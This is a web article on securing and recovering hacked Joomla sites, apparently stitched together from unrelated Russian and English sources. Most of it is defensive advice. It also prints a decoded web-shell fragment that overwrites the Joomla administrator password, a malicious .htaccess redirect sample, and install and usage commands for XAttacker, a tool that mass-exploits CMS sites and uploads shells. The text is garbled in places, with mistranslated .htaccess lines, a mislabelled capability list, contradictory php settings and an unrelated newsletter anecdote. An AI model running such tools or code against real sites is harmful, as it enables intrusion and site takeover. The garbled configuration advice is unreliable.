7 советов по безопасности сайта на Joomla: как защитить свой проект

CMS Joomla
Contents
  1. Основные шаги по защите сайта
  2. Install SSL Certificate
  3. Securing the Server
  4. Для чего обновлять сайт?
  5. Типичные признаки взлома сайта на CMS Joomla
  6. Что делают взломщики с взломанным сайтом
  7. Пример директивы перенаправления в файле .htaccess
  8. Пример вставки вредоносного кода
  9. Запись во вложенные папки
  10. Настройка Apache
  11. Установите модуль mod_security
  12. Используйте локальный php.ini
  13. Настройка php.ini
  14. Как еще можно сказать, что Ваш Joomla-сайт взломан?
  15. Как заразили мои сайты
  16. Reset Credentials
  17. Joomla Website Security Tips
  18. Why did it happen?
  19. Issue with sending newsletters
  20. Joomla Security
  21. Массовая проверка и эксплуатация уязвимостей сайтов WordPress, Joomla, DruPal, PrestaShop и Lokomedia
  22. Детали уязвимости
  23. Продолжение статьи доступно только подписчикам
  24. Подпишись на журнал «Хакер» по выгодной цене!
  25. Безопасная настройка сервера/хостинга
  26. Используйте .htaccess
  27. Запрет исполнения файлов в корне сайта
  28. Запрет доступа к xml-файлам расширений
  29. Блокирование прямого доступа к ядру
  30. Regular updates of plug-ins and extension components
  31. Как восстановить взломанный сайт Joomla
  32. 1. Временно отключите свой сайт
  33. 2. Измените все пароли.
  34. 3. Восстановить из резервной копии (если она у вас есть)
  35. 4. Обновите фреймворк и расширения до последних версий.
  36. 5. Верните сайт в открытый доступ.
  37. Restore your reputation

Основные шаги по защите сайта

  • Защищаем панель администратора — это можно сделать установив компонент AdminTools или через панель администрирования хостинга.
  • Сложные пароли и надежное хранение — это легко достигается при использовании специального програмного обеспечения для хранения паролей типа KeePass или аналогичных.
  • Устанавливаем права на папки и файлы — эти действия ограничивают злоумышленника, не давая возможности размещать и запускать свои скрипты.
  • Не устанавливать расширения скаченные из непроверенных источников.
  • Убираем лишении файлы и компоненты — нужно для того что бы исключить идентификацию используемой версии CMS, так же убрав лишнии компоненты мы ограничиваем поле деятельности злоумышленника.
  • Своевременное обновление — во время эксплуатации Joomla, обнаруживаются и устраняются уязвимости которые не были замечена при разработке. Если своевременно не делать обновление, то злоумышленник может воспользоваться этими уязвимостями в своих целях.
  • Резервное копирование — даже если хостер делает резервное копирование сайта, то все равно нужно настроить свою систему копирования и продумать, где будут храниться файлы резервной копии сайта. Так же обязательно проверить возможность восстановления сайта из этой копии, например на локальном компьютере.

Install SSL Certificate

For e-Commerce sites, the reason you need an SSL certificate is that the data being processed is sensitive. For other sites, the main reason is to secure your Joomla login page. 

If you are not using an HTTPS connection, your username and password will be sent in the clear over the Internet. Many people argue that blogs and news sites shouldn’t run over HTTPS, but how important are your login credentials? 

In addition, many sites are used by several authors and they connect from different networks. Using a secure connection can only help strengthen your security in Joomla.

With the SEO benefits of HTTPS and the performance benefits of HTTP/2, there’s no reason not to use HTTPS and an SSL certificate. SiteGround and KeyCDN now offer free SSL certificates through Let’s Encrypt.

Securing the Server

Even when the installation is secure, faulty servers can make your Joomla site vulnerable to attacks. Although there is a big list of Joomla security issues. A few key points to remember are:

  • Disable open ports.
  • Remove unused subdomains.
  • Check regularly for configuration issues.
  • Block the error messages leaking info.
  • Give strong and random passwords to FTP accounts and databases!
  • If you are sharing a server go for subnetting. 
  • Or use a VPN.
  • Make sure you use a firewall or some sort of security solution.

Для чего обновлять сайт?

В наше время «злобные хакеры» не ломают сайты вручную, если, конечно, это не крупный портал или база конфиденциальной информации. Взломы давно поставлены на конвейер. Для этого написаны боты (скрипты), которые перебирают в сети все сайты на популярных CMS, после чего пытаются применить библиотеку уязвимостей, удачное внедрение отправляется в отчет. Соответственно, как только появляется новая уязвимость, она сразу же добавляется в библиотеку.

Вроде бы элементарно, все современные CMS прямо в административной панели сообщают – вышли новые версии и нужно обновить, но очень часто приходится встречать сайты, которые не обновлялись больше года. 

Типичные признаки взлома сайта на CMS Joomla

Визуальные признаки взлома могут выглядеть как:

  • Надпись вида «By GoLD» вместо контента, ну или другая аналогичная глупость.
  • При заходе на любую страницу сайта вас перенаправят на «левый» сайт.
  • Некоторые файлы CMS Joomla могут иметь дату и время создания на момент взлома.
  • В худшем случае, что вы ничего подозрительного не заметите.

«Сайт может угрожать безопасности вашего компьютера или мобильного устройства»

Что делают взломщики с взломанным сайтом

  • Простая замена файла index.php в корне сайта. При этом при заходе на главную страницу сайта отображается чистая страница, либо какое-либо содержимое, отличное от вашего контента.
  • Вставка в коды CMS, шаблонов, плагинов, модулей и компонентов (по сути это некоторые или все php файлы) кода перенаправления на сторонние ресурсы для слива трафика.
  • Запись директивы перенаправления на сторонний ресурс в файле .htaccess.
  • Запись во вложенные папки php файлов, позволяющих осуществлять доступ к файловой системе для осуществления контроля над сайтом.

Пример директивы перенаправления в файле .htaccess

RewriteRule (.*) http://e-kzn.ru 

* Ссылка преднамеренно изменена, роботы поисковых систем посещают ресурсы, ссылки на которые содержатся даже в текстовом виде.

Пример вставки вредоносного кода

Можно быстро посмотреть этот код декодером в разделе инвентаря на сайте Артемия Лебедева http://www.artlebedev.ru/tools/decoder или странице весьма полезного инструмента – Hex Decoder http://ddecode.com/hexdecoder/. Скопируйте код заключенный в кавычки в форму.

Пример вставки вредоносного кода

Декодирование вредоносного кода

Еще случай вставки, поведение аналогичное, но кроме роботов перенаправляются мобильные устройства.

Пример вставки вредоносного кода

Учтите тот факт, что вредоносный код может располагаться во всех php файлах и содержаться в каждом из них множество раз. Как видно из расшифрованного кода, для роботов поисковиков и для результатов выдачи вместо сайта жертвы будет представлен сайт взломщика. Посетители, пришедшие на страницу не из поисковой системы, увидят вашу оригинальную страницу.

Запись во вложенные папки

Маскировка php скрипта под картинку в директории images/stories. Скрипт позволяет исполнить любой код, переданный в запросе GET/POST. Взломщик может получить полный контроль над файлами CMS и базой данных.

Запись вредоносного кода во вложенные папки

Еще один пример. Веб-шелл спрятанный глубоко во вложенные папки. Работает с Joomla, Wordpess и еще какими-то CMS. Он представляет собою 2239 строк php, обладает большими возможностями:

  • known vulnerability (i.e. unpatched system)
  • undisclosed (new) vulnerability
  • configuration / admin. mistake
  • brute force attack
  • social engineering
  • Web Server intrusion
  • Web Server external module intrusion
  • Mail Server intrusion
  • FTP Server intrusion
  • SSH Server intrusion
  • Telnet Server intrusion
  • RPC Server intrusion
  • Shares misconfiguration
  • Other Server intrusion
  • SQL Injection
  • URL Poisoning
  • File Inclusion
  • Other Web Application bug
  • Remote administrative panel access bruteforcing
  • Remote administrative panel access password guessing
  • Remote administrative panel access social engineering
  • Attack against administrator(password stealing/sniffing)
  • Access credentials through Man In the Middle attack
  • Remote service password guessing
  • Remote service password bruteforce
  • Rerouting after attacking the Firewall
  • Rerouting after attacking the Router
  • DNS attack through social engineering
  • DNS attack through cache poisoning

Фрагмент декодированного кода, он добавляет администратора в CMS Joomla:

mysql_connect("localhost","$user","$pass");
mysql_select_db("$db");
$sor = mysql_query("select * from jos_users order by id ASC limit 1");
echo mysql_error();
$sonuc = mysql_fetch_array($sor);
$adminid = $sonuc;
$admin = $sonuc;
$guncelle = mysql_query("update jos_users set password = '$joomhash' where id='$adminid'");
if($guncelle){
        echo 'Completed.... JOOMLA-ADMIN : '.$admin.'  | JOOMLA-PASSWORD : ayaz';
}else{
        echo mysql_error();
}

Веб-шелл спрятанный глубоко во вложенные папки

Настройка Apache

Теперь перейдем к настройке безопасности веб-сервера Apache, он обрабатывает PHP-код и возвращает браузеру HTML-код. Его тоже надо настроить. Тут может возникнуть ряд трудностей, так как не на всех серверах есть доступ к файлу php.ini (в нем хранится конфигурация Apache). Можно попробовать сконфигурировать через .htaccess.

Установите модуль mod_security

К сожалению вы сами не сможете этого сделать, советуем обратиться к администрации хостинга или к администратору выделенного/вирутального сервера. Они должны установить и сконфигурировать этот модуль.

Используйте локальный php.ini

Некоторые хостинги позволяют использовать собственный файл конфигурации Apache, который находится в корне сайта. Если такая возможность есть, не упустите ее.

Настройка php.ini

Настройка простая. Вот рекомендуемые настройки безопасности Apache. Все описывать детально не буду, более подробную документацию сможете найти на сайте docs.joomla.org.

disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open
open_basedir = /home/users/you/public_html:/tmp
magic_quotes_gpc = 0
safe_mode = 0
register_globals = 0
allow_url_fopen = 1
allow_url_include = 0

Если нет возможности настроить php.ini, то можно попробовать прописать в .htaccess.

php_flag register_globals Off
php_flag file_uploads On
php_flag allow_url_fopen off
php_flag magic_quotes_gpc On
php_flag magic_quotes_runtime Off

Как еще можно сказать, что Ваш Joomla-сайт взломан?

Существует несколько онлайн-сканеров взлома сайтов, таких как Virus Total и Quttera. К сожалению, из-за гонки вооружений между хакерами и антихакерами, нельзя полностью полагаться на сканеры. Часто сканирование может не показать, что взломанный сайт на Joomla не безопасен. Происходит это поскольку у данных сканеров существуют следующие проблемы::

1.    Они не имеют полный доступ к вашим файлам и базам данных, и обнаружить можно только ограниченное число успешных атак.

2.    Ежедневно происходит бесчисленное количество атак, из-за чего типы атак постоянно меняются, а обновления вирусных баз происходят не так быстро.

3.    Они не могут обнаружить атаки, созданные для обнаружения внешнего сканирования. Скриптов, сначала проверяющих запрашиваемую информацию, прежде чем дать ответ, становится все больше.

Как заразили мои сайты

В один прекрасный день, решил закачать фото, или переписать файл через тотал командер. Подключился по FTP и через несколько минут наблюдаю, что появились сторонние файлы на FTP. Пришлось длительно вычищать и искать данные файлы. Файлы были абсолютно с разными именами и имели в названии какую-то абракадабру типа: ajkdfbfdgkdn.php. Очищал как в ручную, также использовал Айболита и другие антивирусные приложения. Также эффективно себя показывает ImunifyAV (ex. Revisium) Free на ISP Manager, а также наш всеми любимый компонент RSFIREWALL, который по мимо стандартной проверки, проверяет Joomla на целостность и указывает те файлы, которые изменены, либо те, которых не хватает. После данного случая я перестал использовать для таких целей тотал + дополнительно обезопасил сайты. В данный момент подобных случаев более не случалось.

Reset Credentials

First of all, change the password of your Joomla super user account and all the passwords of the accounts with administrative permissions on the website.

Now that you have repaired your Joomla site, it is imperative to change all access to your site.

Here is the list of accesses to change:

  • Administration
  • Accommodation
  • FTP
  • phpMyAdmin

You should reset all user passwords to unique and strong passwords to avoid re-infection.

To reset the passwords of your Joomla:

  1. Log in to your Joomla! website.
  2. Click on the Users menu item.
  3. Open each user account.
  4. Change the user’s password
  5. Repeat the operation for each user of your site.

You should reduce the number of the administrator and super administrator accounts in Joomla! and in all systems of your website. Practice the concept of least privilege. Give people only the access they need to do their job.

Joomla! comes with two-factor authentication for user accounts.

To enable 2FA authentication on Joomla 

  • Log in to your Joomla website.
  • Click on the Users menu item.
  • Open your user account
  • Click on the Two-Factor Authentication tab.
  • Follow the steps to enable 2FA authentication.
  • Ask each user to repeat this process.

It is advisable to reinstall all extensions after a hack to ensure that they are functional and free from residual malware. 

If you have disabled themes, components, modules or plugins, we recommend that you remove them from your web server.

Joomla Website Security Tips

Developers take countermeasures and regularly release updates so that known joomla vulnerabilities can be closed immediately.

Why did it happen?

Our JUG Arnhem-Nijmegen organized a Joomla User Group session for Tuesday 4 October. However my co-organizer was sick. And besides the presenter only one other person signed up for the event. We decided to cancel the meeting. 

Issue with sending newsletters

I could not find the cause of the issue. So I decided to switch on Joomla’s Debug mode because it gives helpful info in case of errors. This time it did not help me find the issue.

After making myself a cup of tea, I found the culprit: The DNS of jug-arnhem-nijmegen.nl had one MX record for mail.jug-arnhem-nijmegen.nl. But two different mail.jug-arnhem-nijmegen.nl records, both with different IPs. The correct IP address was the one used when the sending was successful. The faulty IP address caused the SMTP authentication failed errors. 

I finally was able to send all the newsletters, post some other messages online about the canceled meeting and….. totally forgot about switching off the debug mode. And Google indexed my “JUG session is canceled” article on my site and showed it with the debug details on the Google result page.

Note to self: 

  • When using Joomla’s debug plugin on a live site, set its Access level to Super Admin!
  • When finished debugging, switch OFF the debug mode. 

Joomla Security

Joomla is an open-source content management system (CMS) based on an MVC framework. It is currently the 2nd most used CMS on the Internet after WordPress, with a market share of 2.8%. Although that may not seem like a lot, there are millions of businesses and blogs that have chosen to power their websites with Joomla.

As with any heavily used platform, security issues crop up regularly. The risks of being attacked are greater and vulnerabilities are constantly being discovered and exploited. 

Follow our comprehensive guide to harden the security of your Joomla installation and help you prevent the risk of being hacked or falling victim to the next brute force attack.

According to CVE Details, a site listing security vulnerabilities, there have been 321 Joomla vulnerabilities reported so far since 2005.

As compared to Drupal and WordPress security vunerabilities, Joomla’s vulnerability rate is lower if we compare the market share of these CMS to their incident rate (at least in the last seven last years). 

Thus, if we refer to these data, it appears that Joomla is the most secure CMS.

What types of security vulnerabilities affect Joomla? According to CVE Details, 39% of Joomla vulnerabilities are related to remote code execution.

You can stay tuned for security incidents and vulnerabilities by subscribing to the official Joomla Security Announcements RSS Feed. 

You can also consult the full list of Joomla security vulnerabilities at CVE details.

Stay ahead of Joomla hacking,
Protect your Joomla website today!

Dont forget to check out our INDEPTH How To guides on

Hacked Woocommerce Site   |  Hacked Drupal Site   |   Hacked WordPress Site    |   Hacked Prestashop Site    |    Hacked Shopify Website       |  Hacked Magento Store

Массовая проверка и эксплуатация уязвимостей сайтов WordPress, Joomla, DruPal, PrestaShop и Lokomedia

Для установки программы:

git clone  https://github.com/Moham3dRiahi/XAttacker cd XAttacker/

Можно запускать без опций:

perl XAttacker.pl

Тогда программа выведет:

Здесь спрашивается, имеется ли у нас список сайтов? Если отвечаем Да (нужно вписать цифру 1), тогда нужно будет указать путь до файла. Формат этого файла: один сайт на одну строку, обязательно указание протокола http или https.

Если ответим Нет (цифра 2), тогда появится меню:

Варианты следующие:

1. Поиск по доркам сайтов определённой страны

2. Поиск по доркам сайтов любой страны

3. Массовый сбор сайтов по IP или списку сайтов

4. Массовый сбор сайтов по диапазону IP или списку сайтов

В третьем и четвёртом случае сайты нужно указывать без протокола, то есть без http и https.

Мне больше интересна возможность проверки уже заготовленного большого количества сайтов.

Для этого запустите программу с опцией -l, после которой укажите имя файла со списком сайтов для проверки:

perl XAttacker.pl -l list.txt

В этом списке сайты должны быть с указанием протокола (http или https).

Программа поочереди проверит их все, покажет найденные уязвимости и выполнить загрузку шелла при удачной эксплуатации.

Также все уязвимые сайты будут перечислены с указанием найденной уязвимости в файл Result/vulntargets.txt.

Детали уязвимости

Переходим к изучению причин уязвимости. Наш тернистый путь начинается с класса .

Как видно из названия, он отвечает за процесс авторизации пользователей. Данные пользователей, переданные в форме логина, попадают в переменную .После этого они передаются в метод .

/libraries/cms/application/cms.php

В процессе обработки кредсов выполняется метод .

Дальше алгоритм работы зависит от активированных плагинов, которые отвечают за авторизацию. Отрабатывает метод , и данные уходят на обработку соответствующим плагинам.

В этом плагине имя пользователя попадает в запрос к серверу LDAP, который мы указывали как опцию . Документация Joomla говорит о том, что в строке запроса темплейт напрямую изменяется на текст, переданный в поле login. Что ты и можешь наблюдать в сорцах.

/libraries/vendor/joomla/ldap/src/LdapClient.php

В качестве заключительного шага сгенерированная строка поиска уходит на LDAP-сервер с помощью .

/libraries/vendor/joomla/ldap/src/LdapClient.php

На данный момент у нас на руках LDAP-инъекция. Так как никакой фильтрации входных данных не происходит, мы можем влиять на отправляемую на сервер строку.

Сервер возвращает разные ответы в зависимости от результатов обработки запроса LDAP. Если пользователь найден, то система будет отвечать, что пароль неверен, а если пользователя вообще нет, то система известит нас об этом в соответствующем сообщении.

Разные сообщения об ошибках в зависимости от переданных кредсов

Вызывать различные ошибки можно с помощью шаблонов поиска.

Продолжение статьи доступно только подписчикам

Cтатьи из последних выпусков журнала можно покупать отдельно только через два месяца после публикации. Чтобы читать эту статью, необходимо купить подписку.

Подпишись на журнал «Хакер» по выгодной цене!

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Экономия 1400 рублей!

25-30 статей в месяц

Уже подписан?

Безопасная настройка сервера/хостинга

Это самая важная часть, Многие сайтостроители не задаются вопросом безопасности самого хостинга, где размещаются сайты. А это распространенное заблуждение. Это надо делать в первую очередь. Все хостинги предоставляют услугу, как есть. Только на некоторых площадках уже сделана тонкая настройка хостинга/сервера.

Используйте .htaccess

Блокировать типичные попытки эксплоита можно с помощью файла .htaccess, который должен находится в корне сайта.По умолчанию эта функция не включена на всех серверах. Используя файл .htaccess, вы сможете защитить с его помощью важные директории, например, такие, как administrator, можно блокировать доступ на сайт с определенных IP-адресов. И еще много чего можно сделать, об этом напишем чуть ниже.

Сам дистрибутив Joomla уже идет в комплекте с настроенным файлом .htaccess, остается только переименовать его из htaccess.txt в .htaccess. И начнем настройку.

Запрет исполнения файлов в корне сайта

## Начало - Запрет на выполнение php-скриптов в корне сайта
<Filesmatch ".(php)$">
order deny,allow
deny from all
</Filesmatch>
<Filesmatch "^index.php">
order allow,deny
allow from all
</Filesmatch>
<Filesmatch "^index2.php">
order deny,allow
allow from all
</Filesmatch>
## Конец - Запрет на выполнение php-скриптов в корне сайта

Запрет доступа к xml-файлам расширений

## Код запрета доступа к xml-файлам расширений (раскомментируйте для активации)
<Files ~ "\.xml$">
Order allow,deny
Deny from all
Satisfy all
</Files>
## Конец кода запрета доступа к xml-файлам

Блокирование прямого доступа к ядру

Данное решение закроет доступ к бекдорам, тем самым увеличивая безопасность сайта на Joomla. По личному опыту, часто сайт заражается бекдором под названием FileMan. При удаленном вызове вы получаете полный доступ к файловой системе, вы можете изменять любые файлы, при этом оставляя дату последнего изменения, а не текущих. Нашли такие бекдоры в папке modules. Примеры:

  • /modules/mod_system/mod_system.php
  • /modules/mod_systems/mod_system.php
  • /modules/mod_article/mod_system.php
  • /modules/mod_articles/mod_system.php
  • /modules/mod_articless/mod_system.php

Создать новый файл .htaccess. Добавить инструкцию, которая указана нижне. Она запрещает выполнение скриптов. Добавить его во все папки корня сайта.

## Блокирование прямого доступа к ядру
<Files ~ ".(php)$">
 Deny from all 
 </Files>

Regular updates of plug-ins and extension components

Plug-ins and other add-ons are usually independent programs. This means that when the web application is updated, these are not automatically updated. Hackers know this and often use targeted security vulnerabilities in plug-ins and add-ons for their attacks.

Extensions; called components, are also popular attack points in the Joomla content management system, which is also widely used. 

In the past, updates had to close security holes in the explorer file manager and JCE content editor, for example. The list of affected Joomla components can be extended at will.

You should therefore update your plug-ins and extension components regularly! With WordPress and Joomla, you can easily make these updates through the dashboard.

Как восстановить взломанный сайт Joomla

В случае, если ваш сайт Joomla будет взломан, не паникуйте. Вот краткое руководство по восстановлению взломанной Joomla! Веб-сайт:

1. Временно отключите свой сайт

Если вы обнаружите, что ваш сайт взломан, как можно скорее удалите его из общего доступа. Только вы или ваш веб-разработчик должны иметь доступ к сайту через IP-адрес вашей личной сети. Это необходимый первый шаг по двум причинам:

  • Он не позволяет широкой публике и поисковым роботам обнаружить, что ваш сайт заражен или взломан.
  • Это предотвращает дальнейшее проникновение хакеров на ваш сайт и нанесение большего ущерба.

Простой способ сохранить эксклюзивный доступ к вашему сайту, добавив эти две строки в ваш файл .htaccess:

запретить от всех разрешить от IP_ADDRESS

разрешить с IP_ADDRESS

Просто измените условия IP_ADDRESS на ваш реальный сетевой IP-адрес.

2. Измените все пароли.

Когда я говорю «все», я имею в виду ваши пароли для доступа к Joomla! сайт, базы данных MySQL, учетные записи cPanel и FTP. Обновите все эти пароли, потому что возможно, что хакеры уже получили пароли доступа к вашей существующей учетной записи.

3. Восстановить из резервной копии (если она у вас есть)

Одно из самых больших преимуществ наличия полной резервной копии сайта – это случаи, когда ваш сайт становится жертвой взлома. Если вы хотите, чтобы ваш сайт сразу же вернулся к безопасному общему просмотру, вы можете просто восстановить последнюю резервную копию. Обратной стороной этого является то, что ваши недавние изменения и контент больше не будут существовать – потому что восстановление из резервной копии заменит все ваши существующие данные – но это определенно вернет ваш сайт в рабочее состояние.

Перед восстановлением работающей резервной копии необходимо удалить все зараженные базы данных и файлы, чтобы посетители вашего сайта не могли получить к ним доступ. Это предотвращает открытие этих файлов публикой и дальнейшее распространение инфекции.

Вот хороший совет: прежде чем выполнять восстановление из резервной копии, сначала создайте резервную копию зараженной версии вашего веб-сайта. Таким образом, вы можете просканировать зараженную резервную копию на предмет источников взлома и как можно скорее устранить их.

4. Обновите фреймворк и расширения до последних версий.

Независимо от того, работаете ли вы из резервной копии или все еще застряли в существующем зараженном состоянии, обновление файлов иногда может помочь. Убедитесь, что вы обновились до последней стабильной версии Joomla !, и обновите все свои расширения и плагины.

5. Верните сайт в открытый доступ.

После выполнения всех вышеперечисленных шагов вы можете теперь использовать свою Joomla! веб-сайт из режима обслуживания и в прямой доступ. Удалите модификацию .htaccess (если вы решили реализовать эту процедуру) и проверьте свой сайт в Интернете.

Вам также необходимо внимательно следить за своим сайтом в ближайшие несколько недель. Этот период после восстановления очень важен, потому что вы не хотите, чтобы ваши усилия пропали даром. Если вы обнаружите, что что-то не так, немедленно измените свои пароли и обновите свой сайт и расширения, если доступны новые версии.

Restore your reputation

If you are already out of coffee, you should consider making another jar. This step is less technical, but it will take more time to complete.

If your site was hacked long before you cleaned it, chances are it’s blacklisted. That means it will not show up in search results to protect users from potential malware infections and thus you will not get more visitors and lose trust. Even if you thoroughly cleaned your site, it would still be blacklisted for a few days.

To speed things up, once your site is clean and running healthy, use Google Search Console to request a review. 

Google will scan your website and if it doesn’t find any malware infection, it will stop displaying a warning message next to your site’s metadata. But you will have to wait a couple of days until that happens. 

Rate article